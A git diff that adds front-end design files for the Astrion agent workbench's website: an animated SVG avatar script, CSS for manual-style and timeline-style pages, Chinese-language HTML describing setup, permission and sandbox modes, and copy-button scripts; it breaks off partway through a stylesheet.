00000000..c85d86bc --- /dev/null +++ b/website-design/shared/astrion-avatar.js @@ -0,0 +1,165 @@ +/* Astrion 品牌形象组件 —— 渲染 + 眨眼 + 鼠标追踪 + * + * 用法: + * AstrionAvatar.mount(el, { mode: 'idle' | 'think', blink: true, track: true }) + * + * idle 模式:竖线双眼,随机眨眼,眼睛组随鼠标方向轻微偏移。 + * think 模式:三个波浪圆点(不追踪、不眨眼)。 + */ + +(function () { + 'use strict'; + + var SVG_NS = 'http://www.w3.org/2000/svg'; + + // —— 精确还原 StatusAvatar.vue 的几何参数 —— + var FRAME_PATH = + 'M 175.959,107.000 Q 180.000,100.000 175.959,93.000 ' + + 'L 144.041,37.718 Q 140.000,30.718 131.917,30.718 ' + + 'L 68.083,30.718 Q 60.000,30.718 55.959,37.718 ' + + 'L 24.041,93.000 Q 20.000,100.000 24.041,107.000 ' + + 'L 55.959,162.282 Q 60.000,169.282 68.083,169.282 ' + + 'L 131.917,169.282 Q 140.000,169.282 144.041,162.282 Z'; + + // 眼睛 path 的 18 个数字:M a,b Q c,d e,f Q g,h i,j Q k,l m,n Q o,p q,r + var EYE_IDLE = [0, -11, 0, -5.5, 0, 0, 0, 5.5, 0, 11, 0, 5.5, 0, 0, 0, -5.5, 0, -11]; + var EYE_BLINK = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; + var EYE_LEFT = { x: 84, y: 96 }; + var EYE_RIGHT = { x: 116, y: 96 }; + + // 鼠标追踪参数(viewBox 单位) + var TRACK_MAX = 7; // 最大偏移 + var TRACK_RANGE = 140; // 屏幕 px 内达到最大偏移 + var TRACK_LERP = 0.14; + + function eyePathD(n) { + return ( + 'M ' + n[0] + ',' + n[1] + + ' Q ' + n[2] + ',' + n[3] + ' ' + n[4] + ',' + n[5] + + ' Q ' + n[6] + ',' + n[7] + ' ' + n[8] + ',' + n[9] + + ' Q ' + n[10] + ',' + n[11] + ' ' + n[12] + ',' + n[13] + + ' Q ' + n[14] + ',' + n[15] + ' ' + n[16] + ',' + n[17] + ); + } + + function svgEl(tag, attrs) { + var el = document.createElementNS(SVG_NS, tag); + for (var k in attrs) el.setAttribute(k, attrs[k]); + return el; + } + + // —— 眨眼 morph:同构 path 数字线性插值 —— + function morphEyes(eyes, from, to, duration, done) { + var start = null; + function step(ts) { + if (!start) start = ts; + var t = Math.min((ts - start) / duration, 1); + var e = t < 0.5 ? 2 * t * t : 1 - Math.pow(-2 * t + 2, 2) / 2; // easeInOutQuad + var cur = from.map(function (v, i) { return v + (to[i] - v) * e; }); + var d = eyePathD(cur); + eyes[0].setAttribute('d', d); + eyes[1].setAttribute('d', d); + if (t < 1) requestAnimationFrame(step); + else if (done) done(); + } + requestAnimationFrame(step); + } + + // —— 全局鼠标追踪(单 rAF 循环驱动所有实例) —— + var tracked = []; + var mouse = { x: -9999, y: -9999 }; + var rafRunning = false; + + function trackLoop() { + for (var i = 0; i < tracked.length; i++) { + var inst = tracked[i]; + if (!document.contains(inst.svg)) { tracked.splice(i--, 1); continue; } + var rect = inst.svg.getBoundingClientRect(); + if (rect.width === 0) continue; + var cx = rect.left + rect.width / 2; + var cy = rect.top + rect.height / 2; + var dx = mouse.x - cx; + var dy = mouse.y - cy; + var dist = Math.hypot(dx, dy) || 1; + var reach = Math.min(dist / TRACK_RANGE, 1) * TRACK_MAX; + var tx = (dx / dist) * reach; + var ty = (dy / dist) * reach; + inst.cur.x += (tx - inst.cur.x) * TRACK_LERP; + inst.cur.y += (ty - inst.cur.y) * TRACK_LERP; + inst.eyes.setAttribute( + 'transform', + 'translate(' + inst.cur.x.toFixed(2) + ',' + inst.cur.y.toFixed(2) + ')' + ); + } + if (tracked.length > 0) requestAnimationFrame(trackLoop); + else rafRunning = false; + } + + window.addEventListener('mousemove', function (e) { + mouse.x = e.clientX; + mouse.y = e.clientY; + }, { passive: true }); + + function mount(el, opts) { + opts = opts || {}; + var mode = opts.mode || 'idle'; + var svg = svgEl('svg', { + class: 'astrion-avatar', + viewBox: '0 0 200 200', + 'aria-hidden': 'true' + }); + svg.appendChild(svgEl('path', { class: 'aa-frame', d: FRAME_PATH })); + + if (mode === 'think') { + var think = svgEl('g', { class: 'aa-think' }); + [80, 100, 120].forEach(function (x) { + think.appendChild(svgEl('circle', { class: 'aa-think-dot', cx: x, cy: 100, r: 7 })); + }); + svg.appendChild(think); + } else { + var eyes = svgEl('g', { class: 'aa-eyes' }); + var eyeL = svgEl('path', { + class: 'aa-eye', + transform: 'translate(' + EYE_LEFT.x + ',' + EYE_LEFT.y + ')', + d: eyePathD(EYE_IDLE) + }); + var eyeR = svgEl('path', { + class: 'aa-eye', + transform: 'translate(' + EYE_RIGHT.x + ',' + EYE_RIGHT.y + ')', + d: eyePathD(EYE_IDLE) + }); + eyes.appendChild(eyeL); + eyes.appendChild(eyeR); + svg.appendChild(eyes); + + var pair = [eyeL, eyeR]; + + if (opts.blink !== false) { + (function scheduleBlink() { + var delay = 2200 + Math.random() * 2600; + setTimeout(function () { + if (!document.contains(svg)) return; + morphEyes(pair, EYE_IDLE, EYE_BLINK, 120, function () { + setTimeout(function () { + morphEyes(pair, EYE_BLINK, EYE_IDLE, 170, scheduleBlink); + }, 60); + }); + }, delay); + })(); + } + + if (opts.track !== false) { + tracked.push({ svg: svg, eyes: eyes, cur: { x: 0, y: 0 } }); + if (!rafRunning) { + rafRunning = true; + requestAnimationFrame(trackLoop); + } + } + } + + el.appendChild(svg); + return svg; + } + + window.AstrionAvatar = { mount: mount }; +})(); diff --git a/website-design/site-manual/css/style.css b/website-design/site-manual/css/style.css new file mode 100644 index 00000000..3b6a34fc --- /dev/null +++ b/website-design/site-manual/css/style.css @@ -0,0 +1,308 @@ +/* ═══════════════════════════════════════════ + Astrion 官网 C —— 手册即首页 + 白纸黑字,排印即设计。无 hero、无气泡、零营销。 + ═══════════════════════════════════════════ */ + +:root { + --bg: #ffffff; + --surface: #fafaf8; + --text: #1a1815; + --text-2: #77705f; + --border: #e9e6de; + --accent: #cc785c; + --code-bg: #262119; + --code-text: #f2ede2; + --ok: #4a8f5d; + --warn: #b8862e; + --untested: #b04a3c; + --side-w: 264px; + --page-w: 700px; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +html { scroll-behavior: smooth; } + +body { + font-family: -apple-system, BlinkMacSystemFont, "PingFang SC", "Noto Sans SC", sans-serif; + background: var(--bg); + color: var(--text); + font-size: 15px; + line-height: 1.9; + -webkit-font-smoothing: antialiased; +} + +code { + font-family: ui-monospace, "SF Mono", "JetBrains Mono", Menlo, monospace; + font-size: 0.88em; + background: rgba(26, 24, 21, 0.05); + padding: 0.15em 0.45em; + border-radius: 5px; +} + +a { color: var(--accent); text-decoration: none; } +a:hover { text-decoration: underline; } + +/* ═══════ 左栏 ═══════ */ + +.side { + position: fixed; + inset: 0 auto 0 0; + width: var(--side-w); + border-right: 1px solid var(--border); + padding: 36px 28px; + display: flex; + flex-direction: column; + background: var(--bg); + z-index: 40; +} + +.side-brand { display: flex; align-items: center; gap: 12px; color: var(--text); margin-bottom: 18px; } +.side-brand:hover { text-decoration: none; } +.side-avatar { width: 30px; height: 30px; display: block; } +.side-name { font-size: 16px; font-weight: 650; letter-spacing: 0.01em; } + +.side-intro { + font-size: 13px; + line-height: 1.75; + color: var(--text-2); + margin-bottom: 36px; + padding-bottom: 28px; + border-bottom: 1px solid var(--border); +} + +.toc { display: flex; flex-direction: column; gap: 2px; } + +.toc-item { + font-size: 13.5px; + color: var(--text-2); + padding: 7px 10px; + border-radius: 7px; + transition: background 0.12s ease, color 0.12s ease; +} + +.toc-item:hover { background: var(--surface); color: var(--text); text-decoration: none; } + +.toc-item.current { + color: var(--text); + background: var(--surface); + box-shadow: inset 2px 0 0 var(--accent); +} + +.side-gh { + margin-top: auto; + font-size: 13px; + color: var(--text-2); +} + +.side-gh:hover { color: var(--text); text-decoration: none; } + +/* ═══════ 正文 ═══════ */ + +.page { + margin-left: var(--side-w); + padding: 56px 48px 0; +} + +.page > * { max-width: var(--page-w); } + +.chapter { margin-bottom: 88px; scroll-margin-top: 40px; } + +.chapter h1, .chapter h2 { + font-size: 24px; + font-weight: 650; + letter-spacing: 0.01em; + margin-bottom: 16px; + display: flex; + align-items: baseline; + gap: 14px; +} + +.ch-no { + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 12px; + font-weight: 400; + letter-spacing: 0.1em; + color: var(--text-2); +} + +.chapter h3 { + font-size: 15.5px; + font-weight: 600; + margin: 28px 0 8px; +} + +.lead { font-size: 15.5px; color: var(--text-2); margin-bottom: 20px; } + +.chapter p { color: var(--text-2); margin-bottom: 14px; } +.chapter p strong { color: var(--text); } + +.fine { font-size: 13px; opacity: 0.85; } + +/* 命令块 */ +.cmd-block { + position: relative; + margin: 14px 0 18px; + border-radius: 10px; + background: var(--code-bg); +} + +.cmd-block pre { + padding: 18px 20px; + overflow-x: auto; + font-family: ui-monospace, "SF Mono", "JetBrains Mono", Menlo, monospace; + font-size: 12.8px; + line-height: 1.9; + color: var(--code-text); +} + +.cmd-block pre code { background: transparent; padding: 0; font-size: inherit; color: inherit; } + +/* 复制按钮:固定尺寸,只换图标 */ +.copy-btn { + position: absolute; + top: 10px; + right: 10px; + width: 30px; + height: 30px; + border: none; + border-radius: 8px; + background: rgba(255, 255, 255, 0.08); + color: rgba(242, 237, 226, 0.6); + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + transition: background 0.15s ease, color 0.15s ease; +} + +.copy-btn:hover { background: rgba(255, 255, 255, 0.14); color: var(--code-text); } + +.copy-btn svg { + width: 14px; + height: 14px; + fill: none; + stroke: currentColor; + stroke-width: 1.8; + stroke-linecap: round; + stroke-linejoin: round; +} + +.copy-btn .icon-check { display: none; } +.copy-btn.copied { color: #8fce9e; } +.copy-btn.copied .icon-copy { display: none; } +.copy-btn.copied .icon-check { display: block; } + +/* 规格表 */ +.spec-table { + border: 1px solid var(--border); + border-radius: 10px; + overflow: hidden; + margin: 16px 0 20px; +} + +.spec-table table { width: 100%; border-collapse: collapse; font-size: 13.5px; } + +.spec-table th { + text-align: left; + font-weight: 500; + font-size: 12px; + color: var(--text-2); + padding: 10px 16px; + background: var(--surface); + border-bottom: 1px solid var(--border); +} + +.spec-table td { padding: 11px 16px; border-bottom: 1px solid var(--border); color: var(--text-2); vertical-align: top; } +.spec-table tr:last-child td { border-bottom: none; } +.spec-table td:first-child { color: var(--text); font-weight: 500; white-space: nowrap; } +.spec-table td:nth-child(2) { font-family: ui-monospace, "SF Mono", Menlo, monospace; font-size: 12px; white-space: nowrap; } + +.dot { + display: inline-block; + width: 7px; + height: 7px; + border-radius: 50%; + margin-right: 8px; + vertical-align: 1px; +} + +.dot.ok { background: var(--ok); } +.dot.warn { background: var(--warn); } +.dot.untested { background: var(--untested); } + +/* 事实列表 */ +.facts { list-style: none; margin: 8px 0; } + +.facts li { + padding: 10px 0 10px 18px; + position: relative; + font-size: 14.5px; + color: var(--text-2); +} + +.facts li::before { + content: ""; + position: absolute; + left: 0; + top: 20px; + width: 6px; + height: 6px; + border-radius: 50%; + background: var(--border); +} + +.facts li + li { border-top: 1px solid var(--border); } +.facts strong { color: var(--text); font-weight: 600; } + +/* 章节清单 */ +.chapter-list { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 0 32px; + border-top: 1px solid var(--border); + margin-top: 8px; +} + +.chapter-list span { + display: flex; + align-items: baseline; + gap: 14px; + padding: 11px 0; + font-size: 14px; + border-bottom: 1px solid var(--border); +} + +.chapter-list em { + font-style: normal; + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 11px; + color: var(--text-2); +} + +/* 页脚 */ +.foot { + padding: 32px 0 48px; + border-top: 1px solid var(--border); + font-size: 13px; + color: var(--text-2); +} + +/* ═══════ 窄屏 ═══════ */ + +@media (max-width: 860px) { + .side { + position: static; + width: auto; + border-right: none; + border-bottom: 1px solid var(--border); + padding: 24px 20px; + } + + .side-intro { margin-bottom: 20px; padding-bottom: 18px; } + .toc { flex-direction: row; flex-wrap: wrap; } + .side-gh { margin-top: 18px; } + + .page { margin-left: 0; padding: 36px 20px 0; } + .chapter-list { grid-template-columns: 1fr; } +} diff --git a/website-design/site-manual/index.html b/website-design/site-manual/index.html new file mode 100644 index 00000000..27f354a9 --- /dev/null +++ b/website-design/site-manual/index.html @@ -0,0 +1,143 @@ + + + + + + Astrion 手册 + + + + + + + + + + +
+ + +
+

§1快速上手

+

三分钟,从克隆到对话。环境要求:Python 3.10+、Node.js 18+;docker 模式另需 Docker。

+ +

host 模式

+

本地个人智能体:数据落在本机 ~/.astrion,命令跑在宿主机 OS 沙箱内。

+
+ +
git clone https://github.com/JOJO6618/astrion.git
+cd astrion
+./setup.sh        # 向导:运行模式选 host → 端口 → 管理员 → 模型
+npm install && npm run build
+./start.sh        # → http://localhost:8091
+
+ +

docker 模式

+

线上多人服务(README 中称 web 模式):应用本体仍在宿主机,Docker 为每个用户提供独立的命令沙箱容器。邀请码注册制。

+
+ +
# 步骤 1-3 与 host 相同,向导中运行模式选 web
+# 额外一步:构建沙箱镜像
+docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest .
+./start.sh
+
+

镜像名由 TERMINAL_SANDBOX_IMAGE 指定;容器名前缀由 TERMINAL_SANDBOX_NAME_PREFIX 指定。

+
+ + +
+

§2核心概念

+

行为边界由四组正交开关定义,一眼可见、一点即切。唯一例外:计划模式会把权限与执行环境锁定为「只读 + 沙箱」。

+
+ + + + + + + + +
维度可选值含义
部署模式host / docker命令跑在宿主机,还是每个用户的独立容器
权限模式只读 / 批准 / 自动审核 / 无限制写操作落盘前要经过谁
执行环境沙箱 / 直连命令是否约束在 OS 沙箱内
运行模式计划 / 询问 / 执行AI 与你的交互节奏
+
+
+ + +
+

§3安全

+

命令隔离强度取决于平台,如实列出;资产保护有三层,与平台无关。

+
+ + + + + + + +
平台沙箱实现水位
WindowsWSL2完全数据隔离,需先安装 WSL2
macOSsandbox-exec限写入;全局可读,防不住泄露
Linuxbwrap + seccomp未实测,别依赖
+
+
    +
  • 版本控制——每条你发出的消息打一个检查点,随时回溯;浅备份只追踪 write_file / edit_file 编辑过的文件。
  • +
  • 修改留痕——每次编辑落盘一份标准 diff,git apply 重做,git apply -R 撤销。
  • +
  • Git 状态栏——仓库状态实时可见。
  • +
+
+ + +
+

§4能力

+
    +
  • 多智能体团队——Team Leader 带领 5 个预置角色(全栈 / 评审 / 调研 / UI 操作 / 头脑风暴)分工协作,可自建角色。
  • +
  • 快捷窗口——对话区右侧五看板:待办、子智能体、后台命令、文件记录、工作流。
  • +
  • 工作流与技能包——流程沉淀为工作流,经验沉淀为 Skill;内置 4 个工作流、12 个技能包。
  • +
  • 目标模式(Beta)——给出长期目标,自动逐轮推进,审核智能体把关,触顶或达成才停。
  • +
  • MCP 扩展——接入任意 MCP 工具服务;host 模式下说一句「帮我配置 xxx」即可装好。
  • +
  • 实时终端——对话里直接跑命令。这是效率设计,不是安全边界。
  • +
+
+ + +
+

§5文档章节

+
+ 01快速上手 + 02核心概念 + 03对话 + 04输入与上下文 + 05执行与安全 + 06对话资产管理 + 07智能体能力 + 08快捷窗口 + 09个人空间设置 + 10CLI(开发中) +
+
+ +
+

© 2026 Astrion · 开源 · GitHub · 星之子,星际粒子。

+
+
+ + + + + diff --git a/website-design/site-manual/js/main.js b/website-design/site-manual/js/main.js new file mode 100644 index 00000000..00c3a7da --- /dev/null +++ b/website-design/site-manual/js/main.js @@ -0,0 +1,55 @@ +/* Astrion 官网 C —— 交互(形象 / scrollspy / 复制) */ + +(function () { + 'use strict'; + + AstrionAvatar.mount(document.getElementById('sideAvatar'), { mode: 'idle', blink: true, track: true }); + + /* scrollspy:目录高亮当前章节 */ + var links = Array.prototype.slice.call(document.querySelectorAll('.toc-item')); + var chapters = links + .map(function (a) { return document.querySelector(a.getAttribute('href')); }) + .filter(Boolean); + + var spy = new IntersectionObserver(function (entries) { + entries.forEach(function (e) { + if (!e.isIntersecting) return; + links.forEach(function (a) { + a.classList.toggle('current', a.getAttribute('href') === '#' + e.target.id); + }); + }); + }, { rootMargin: '-20% 0px -65% 0px' }); + + chapters.forEach(function (c) { spy.observe(c); }); + + /* 复制按钮:固定尺寸,只换图标 */ + document.querySelectorAll('[data-copy]').forEach(function (btn) { + var timer = null; + btn.addEventListener('click', function () { + var block = btn.parentElement.querySelector('pre code'); + var text = block ? block.textContent : ''; + function mark() { + btn.classList.add('copied'); + clearTimeout(timer); + timer = setTimeout(function () { btn.classList.remove('copied'); }, 1600); + } + if (navigator.clipboard && navigator.clipboard.writeText) { + navigator.clipboard.writeText(text).then(mark, function () { fallback(text); mark(); }); + } else { + fallback(text); + mark(); + } + }); + }); + + function fallback(text) { + var ta = document.createElement('textarea'); + ta.value = text; + ta.style.position = 'fixed'; + ta.style.opacity = '0'; + document.body.appendChild(ta); + ta.select(); + try { document.execCommand('copy'); } catch (e) {} + document.body.removeChild(ta); + } +})(); diff --git a/website-design/site-timeline/css/style.css b/website-design/site-timeline/css/style.css new file mode 100644 index 00000000..f62d2cdd --- /dev/null +++ b/website-design/site-timeline/css/style.css @@ -0,0 +1,346 @@ +/* ═══════════════════════════════════════════ + Astrion 官网 B —— 一次请求的一生(深色流程叙事) + 配色取自产品 dark 主题;无粒子、无光晕、无装饰线。 + ═══════════════════════════════════════════ */ + +:root { + --bg: #14161b; + --surface: #1b1e24; + --text: #e8e6e1; + --text-2: #9a968e; + --border: #2b2e36; + --accent: #cc785c; + --code-bg: #0f1114; + --ok: #6fae7f; + --warn: #c99a4b; + --untested: #c06a5c; + --content-w: 720px; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +html { scroll-behavior: smooth; } + +body { + font-family: -apple-system, BlinkMacSystemFont, "PingFang SC", "Noto Sans SC", sans-serif; + background: var(--bg); + color: var(--text); + font-size: 15.5px; + line-height: 1.85; + -webkit-font-smoothing: antialiased; +} + +code { + font-family: ui-monospace, "SF Mono", "JetBrains Mono", Menlo, monospace; + font-size: 0.88em; + background: rgba(232, 230, 225, 0.08); + padding: 0.15em 0.45em; + border-radius: 5px; +} + +a { color: var(--accent); text-decoration: none; } +a:hover { text-decoration: underline; } + +.reveal { opacity: 0; transform: translateY(14px); transition: opacity 0.55s ease, transform 0.55s ease; } +.reveal.in { opacity: 1; transform: none; } +@media (prefers-reduced-motion: reduce) { + .reveal { opacity: 1; transform: none; transition: none; } +} + +/* ═══════ 顶栏 ═══════ */ + +.topbar { + position: sticky; + top: 0; + z-index: 40; + display: flex; + align-items: center; + justify-content: space-between; + padding: 14px 32px; + background: var(--bg); + border-bottom: 1px solid var(--border); +} + +.brand { display: flex; align-items: center; gap: 10px; color: var(--text); } +.brand:hover { text-decoration: none; } +.brand-avatar { width: 26px; height: 26px; display: block; } +.brand-name { font-size: 15px; font-weight: 600; letter-spacing: 0.01em; } + +.toplink { font-size: 13.5px; color: var(--text-2); } +.toplink:hover { color: var(--text); text-decoration: none; } + +/* ═══════ Hero ═══════ */ + +.hero { + max-width: var(--content-w); + margin: 0 auto; + padding: 96px 32px 72px; +} + +.kicker { + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 12px; + letter-spacing: 0.14em; + color: var(--text-2); + margin-bottom: 26px; +} + +.hero h1 { + font-size: 40px; + font-weight: 650; + line-height: 1.32; + letter-spacing: 0.01em; + margin-bottom: 20px; +} + +.hero-sub { font-size: 16px; color: var(--text-2); margin-bottom: 44px; } + +/* 生命周期链条:静态、承载信息,不是装饰 */ +.lifecycle { + display: flex; + align-items: center; + flex-wrap: wrap; + gap: 10px; + margin-bottom: 56px; +} + +.lc-node { + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 12.5px; + color: var(--text); + border: 1px solid var(--border); + background: var(--surface); + border-radius: 8px; + padding: 7px 13px; + white-space: nowrap; +} + +.lc-arrow { font-style: normal; color: var(--text-2); opacity: 0.6; } + +/* 产品截图 */ +.shot { + border: 1px solid var(--border); + border-radius: 12px; + overflow: hidden; + background: var(--surface); +} + +.shot-bar { + display: flex; + align-items: center; + gap: 6px; + padding: 9px 14px; + border-bottom: 1px solid var(--border); +} + +.shot-bar i { width: 9px; height: 9px; border-radius: 50%; background: var(--border); } +.shot-bar i:first-child { background: #8a5550; } + +.shot-bar span { + margin-left: 8px; + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 11.5px; + color: var(--text-2); +} + +.shot img { display: block; width: 100%; } + +/* ═══════ 时间轴 ═══════ */ + +.timeline { + max-width: var(--content-w); + margin: 0 auto; + padding: 24px 32px 0; + list-style: none; + position: relative; +} + +/* 竖线:贯穿全程的流程轴 */ +.timeline::before { + content: ""; + position: absolute; + left: calc(32px + 6px); + top: 40px; + bottom: 40px; + width: 1px; + background: var(--border); +} + +.station { + position: relative; + padding: 26px 0 26px 44px; +} + +/* 轴上节点:圆点 */ +.station::before { + content: ""; + position: absolute; + left: 0; + top: 36px; + width: 13px; + height: 13px; + border-radius: 50%; + background: var(--bg); + border: 2px solid var(--border); + transition: border-color 0.4s ease; +} + +.station.in::before { border-color: var(--accent); } + +.st-no { + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 11.5px; + letter-spacing: 0.12em; + color: var(--text-2); + display: block; + margin-bottom: 8px; +} + +.station h2 { + font-size: 22px; + font-weight: 600; + letter-spacing: 0.01em; + margin-bottom: 10px; +} + +.station p { color: var(--text-2); font-size: 15px; max-width: 62ch; } +.station p strong { color: var(--text); font-weight: 600; } +.station p code { font-size: 12.5px; } + +.st-note { + margin-top: 12px; + font-size: 13.5px; + opacity: 0.85; +} + +/* 小表格 */ +.mini-table { + margin-top: 16px; + border: 1px solid var(--border); + border-radius: 10px; + overflow: hidden; + background: var(--surface); + max-width: 560px; +} + +.mini-table table { width: 100%; border-collapse: collapse; font-size: 13.5px; } + +.mini-table th { + text-align: left; + font-weight: 500; + font-size: 12px; + color: var(--text-2); + padding: 10px 16px; + border-bottom: 1px solid var(--border); +} + +.mini-table td { padding: 10px 16px; border-bottom: 1px solid var(--border); color: var(--text-2); } +.mini-table tr:last-child td { border-bottom: none; } +.mini-table td:first-child { color: var(--text); font-weight: 500; white-space: nowrap; } +.mini-table td:nth-child(2) { font-family: ui-monospace, "SF Mono", Menlo, monospace; font-size: 12px; } + +.dot { + display: inline-block; + width: 7px; + height: 7px; + border-radius: 50%; + margin-right: 8px; + vertical-align: 1px; +} + +.dot.ok { background: var(--ok); } +.dot.warn { background: var(--warn); } +.dot.untested { background: var(--untested); } + +/* ═══════ 安装 ═══════ */ + +.getstart { + max-width: var(--content-w); + margin: 0 auto; + padding: 80px 32px 40px; +} + +.getstart h2 { font-size: 26px; font-weight: 650; margin-bottom: 10px; } +.gs-env { font-size: 13px; color: var(--text-2); margin-bottom: 24px; } + +.cmd-block { + position: relative; + background: var(--code-bg); + border: 1px solid var(--border); + border-radius: 12px; +} + +.cmd-block pre { + padding: 20px 22px; + overflow-x: auto; + font-family: ui-monospace, "SF Mono", "JetBrains Mono", Menlo, monospace; + font-size: 13px; + line-height: 1.9; + color: var(--text); +} + +.cmd-block pre code { background: transparent; padding: 0; font-size: inherit; color: inherit; } + +/* 复制按钮:固定尺寸,只换图标 */ +.copy-btn { + position: absolute; + top: 10px; + right: 10px; + width: 30px; + height: 30px; + border: 1px solid var(--border); + border-radius: 8px; + background: var(--surface); + color: var(--text-2); + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + transition: color 0.15s ease, border-color 0.15s ease; +} + +.copy-btn:hover { color: var(--text); border-color: var(--text-2); } + +.copy-btn svg { + width: 14px; + height: 14px; + fill: none; + stroke: currentColor; + stroke-width: 1.8; + stroke-linecap: round; + stroke-linejoin: round; +} + +.copy-btn .icon-check { display: none; } +.copy-btn.copied { color: var(--ok); border-color: var(--ok); } +.copy-btn.copied .icon-copy { display: none; } +.copy-btn.copied .icon-check { display: block; } + +.gs-note { margin-top: 16px; font-size: 13.5px; color: var(--text-2); max-width: 62ch; } +.gs-note code { font-size: 12px; } + +/* ═══════ 页脚 ═══════ */ + +.foot { + max-width: var(--content-w); + margin: 0 auto; + padding: 64px 32px 48px; + border-top: 1px solid var(--border); + margin-top: 40px; + font-size: 13px; + color: var(--text-2); +} + +.foot-note { margin-top: 4px; font-size: 12.5px; opacity: 0.7; } + +/* ═══════ 窄屏 ═══════ */ + +@media (max-width: 720px) { + .topbar { padding: 12px 20px; } + .hero { padding: 64px 20px 48px; } + .hero h1 { font-size: 28px; } + .timeline { padding: 16px 20px 0; } + .timeline::before { left: calc(20px + 6px); } + .station { padding-left: 36px; } + .getstart, .foot { padding-left: 20px; padding-right: 20px; } +} diff --git a/website-design/site-timeline/index.html b/website-design/site-timeline/index.html new file mode 100644 index 00000000..76069144 --- /dev/null +++ b/website-design/site-timeline/index.html @@ -0,0 +1,135 @@ + + + + + + Astrion —— 一句话进来,结果出去 + + + + + + +
+ + + Astrion + + GitHub ↗ +
+ + +
+

开源 · 自托管 · 数据不出本机

+

一句话进来,结果出去。
中间每一步,你都看得见。

+

Astrion 是住在你机器上的智能体工作台:普通对话、多智能体团队、工作流与技能包。

+ +
+ 你的消息 + 模型思考 + 工具调用 + 沙箱执行 + 留痕落盘 + 回复你 +
+ +
+
localhost:8091 · 夜间主题
+ Astrion 主界面(夜间主题) +
+
+ + +
    + +
  1. + 01 +

    你说了一句话

    +

    / 唤起指令菜单,@ 引用文件,图片直接贴进输入框。上下文压缩建议开深度——浅压缩会破坏前缀缓存,自定义阈值建议不低于模型可用上下文的 80%。

    +
  2. + +
  3. + 02 +

    它先想,再动手

    +

    运行模式三档:计划——只出方案与你讨论,批准后转入执行;询问——先讨论后开工;执行——自主开工,只在硬阻塞时提问。思考模式可随时切换。

    +
  4. + +
  5. + 03 +

    写操作要过闸

    +

    权限四档,写操作在获批前不会落盘:

    +
    + + + + + + + +
    只读AI 只能读,写操作被系统拒绝
    批准每次写入先弹给你,逐次点头
    自动审核写入由审核智能体把关,拒绝会附理由
    无限制不做权限拦截
    +
    +
  6. + +
  7. + 04 +

    命令在笼子里跑

    +

    执行环境二选一:沙箱,或直连宿主机。沙箱强度取决于平台,如实列出:

    +
    + + + + + + + +
    平台实现水位
    WindowsWSL2完全数据隔离
    macOSsandbox-exec限写入;全局可读,防不住泄露
    Linuxbwrap+seccomp未实测,别依赖
    +
    +

    沙箱管命令,不管聊天——对话内容本来就要发给模型服务商,密钥别贴进对话。

    +
  8. + +
  9. + 05 +

    每个改动可撤销

    +

    三层资产安全网,与平台无关:版本控制按你的每条消息打检查点(浅备份只追踪 write_file / edit_file 编辑过的文件);修改留痕把每次编辑落盘成标准 diff,git apply 重做、git apply -R 撤销;Git 状态栏让仓库状态实时可见。

    +
  10. + +
  11. + 06 +

    一个人不够,就一队

    +

    子智能体后台并行跑独立任务。多智能体模式下,Team Leader 带领预置的 5 个角色——全栈工程师、代码评审、调研员、UI 操作、头脑风暴——分工协作、互相请教,每一步都向你汇报。角色可以自己写。

    +
  12. + +
  13. + 07 +

    结果回到你手里

    +

    对话区右侧的五个快捷窗口:待办、子智能体、后台命令、文件记录、工作流。产物在哪、进展到哪、怎么终止,抬手就够到。

    +
  14. +
+ + +
+

让它住进你的机器

+

Python 3.10+ · Node.js 18+ · docker 模式另需 Docker

+
+ +
git clone https://github.com/JOJO6618/astrion.git
+cd astrion
+./setup.sh        # 向导:运行模式 → 端口 → 管理员 → 模型
+npm install && npm run build
+./start.sh        # → http://localhost:8091
+
+

docker 模式(README 中的 web 模式)在此基础上多一步:docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest .——应用本体仍跑在宿主机,Docker 提供的是每个用户独立的命令沙箱。

+
+ +
+

© 2026 Astrion · 开源 · GitHub

+

星之子,星际粒子。

+
+ + + + + diff --git a/website-design/site-timeline/js/main.js b/website-design/site-timeline/js/main.js new file mode 100644 index 00000000..5135da15 --- /dev/null +++ b/website-design/site-timeline/js/main.js @@ -0,0 +1,48 @@ +/* Astrion 官网 B —— 交互(形象 / 淡入 / 复制) */ + +(function () { + 'use strict'; + + AstrionAvatar.mount(document.getElementById('topAvatar'), { mode: 'idle', blink: true, track: true }); + + var io = new IntersectionObserver(function (entries) { + entries.forEach(function (e) { + if (e.isIntersecting) { + e.target.classList.add('in'); + io.unobserve(e.target); + } + }); + }, { threshold: 0.12 }); + document.querySelectorAll('.reveal').forEach(function (el) { io.observe(el); }); + + /* 复制按钮:固定尺寸,只换图标 */ + document.querySelectorAll('[data-copy]').forEach(function (btn) { + var timer = null; + btn.addEventListener('click', function () { + var block = btn.parentElement.querySelector('pre code'); + var text = block ? block.textContent : ''; + function mark() { + btn.classList.add('copied'); + clearTimeout(timer); + timer = setTimeout(function () { btn.classList.remove('copied'); }, 1600); + } + if (navigator.clipboard && navigator.clipboard.writeText) { + navigator.clipboard.writeText(text).then(mark, function () { fallback(text); mark(); }); + } else { + fallback(text); + mark(); + } + }); + }); + + function fallback(text) { + var ta = document.createElement('textarea'); + ta.value = text; + ta.style.position = 'fixed'; + ta.style.opacity = '0'; + document.body.appendChild(ta); + ta.select(); + try { document.execCommand('copy'); } catch (e) {} + document.body.removeChild(ta); + } +})(); diff --git a/website-design/site/css/style.css b/website-design/site/css/style.css new file mode 100644 index 00000000..b6130372 --- /dev/null +++ b/website-design/site/css/style.css @@ -0,0 +1,650 @@ +/* ═══════════════════════════════════════════ + Astrion 官网 —— 界面即官网 + 配色取自产品 classic 主题;无装饰性 gimmick。 + ═══════════════════════════════════════════ */ + +:root { + --bg: #faf9f5; + --surface: #ffffff; + --bubble: #f0ebdf; + --text: #211d16; + --text-2: #6e675a; + --border: #e6dfd0; + --accent: 